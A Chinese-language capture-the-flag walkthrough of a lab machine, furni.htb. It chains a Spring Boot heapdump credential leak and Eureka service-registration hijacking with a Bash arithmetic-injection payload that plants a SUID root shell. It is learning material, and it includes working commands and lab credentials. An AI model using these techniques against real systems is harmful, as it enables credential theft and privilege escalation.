侦察

Nmap扫描发现三个开放端口:

  • SSH (22)
  • HTTP (80) - 重定向到furni.htb
  • HTTP (8761) - 需要基本认证

网站分析 - TCP 80

家具商店网站,技术栈为Spring Boot框架。通过feroxbuster目录扫描发现暴露的Actuator端点,特别是/actuator/heapdump堆转储端点。

获取oscar190用户Shell

堆转储分析

下载堆转储文件并使用多种工具分析:

  • VisualVM:图形化分析堆转储
  • JDumpSpider:自动化提取敏感信息

发现关键凭证:

  • 数据库连接字符串:jdbc:mysql://localhost:3306/Furni_WebApp_DB§{password=0sc@r190_S0l!dP@sswd, user=oscar190}
  • Eureka服务认证:http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

SSH访问

使用发现的凭证成功SSH登录:

ssh [email protected]
密码:0sc@r190_S0l!dP@sswd

获取miranda-wise用户Shell

系统枚举

发现多个Spring Boot应用:

  • cloud-gateway [TCP 8080]
  • User Management [TCP 8081]
  • Furni website [TCP 8082]
  • Eureka server [TCP 8761]

Spring Cloud Gateway劫持

利用Eureka服务注册机制:

  1. 注册恶意USER-MANAGEMENT-SERVICE实例指向攻击者IP
  2. 删除合法服务实例
  3. 拦截miranda-wise的登录请求

捕获到凭证:IL!veT0Be&BeT0L0ve

SSH访问miranda-wise

ssh [email protected]
密码:IL!veT0Be&BeT0L0ve

获取root权限

漏洞分析

发现定时任务执行的/opt/log_analyse.sh脚本存在Bash算术注入漏洞:

analyze_http_statuses() {
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: K.*')
        # 漏洞:code变量直接用于算术比较
        if [[ "$existing_code" -eq "$code" ]]; then
            # ...
        fi
    done
}

漏洞利用

利用Bash算术表达式注入:

echo 'HTTP Status: x[$(cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf)]' > application.log

创建SUID bash后门并获取root shell:

/tmp/0xdf -p

总结

本渗透测试展示了Spring Boot应用安全配置不当导致的完整攻击链:从堆转储信息泄露到服务注册劫持,最终通过脚本漏洞实现权限提升。

本站提供的所有下载资源均来自互联网,仅提供学习交流使用,版权归原作者所有。如需商业使用,请联系原作者获得授权。 如您发现有涉嫌侵权的内容,请联系我们 邮箱:[email protected]